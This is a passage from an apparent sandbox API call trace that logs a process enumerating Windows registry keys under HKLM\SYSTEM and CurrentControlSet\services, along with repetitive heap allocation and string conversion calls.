Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.024] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0213.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0213.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0213.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.024] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0213.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0213.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0213.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.024] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0213.024] RegCloseKey (hKey=0x80000002) returned 0x0 [0213.024] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0213.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0213.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1850, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0213.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.025] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0213.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0213.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0213.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.025] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0213.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0213.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1850, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0213.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.025] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0213.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0213.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0213.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.026] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0213.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0213.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0213.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.026] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0213.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0213.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0213.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.026] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0213.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0213.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0213.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.026] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0213.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0213.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0213.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.027] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0213.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0213.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1850, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0213.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.027] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0213.027] RegCloseKey (hKey=0x148) returned 0x0 [0213.027] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0213.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0213.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0213.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.027] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0213.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0213.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0213.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.028] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0213.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0213.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0213.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.028] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0213.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0213.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0213.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.028] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0213.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0213.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0213.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.028] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0213.029] RegCloseKey (hKey=0x150) returned 0x0 [0213.029] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0213.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0213.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1850, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0213.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.029] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0213.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0213.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a00, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0213.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.029] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0213.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0213.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1850, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0213.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.029] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0213.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0213.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0213.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0213.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a00, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0213.030] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0213.030] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0213.030] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0213.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0213.059] RegEnumKeyW (in: hKey=0x148, 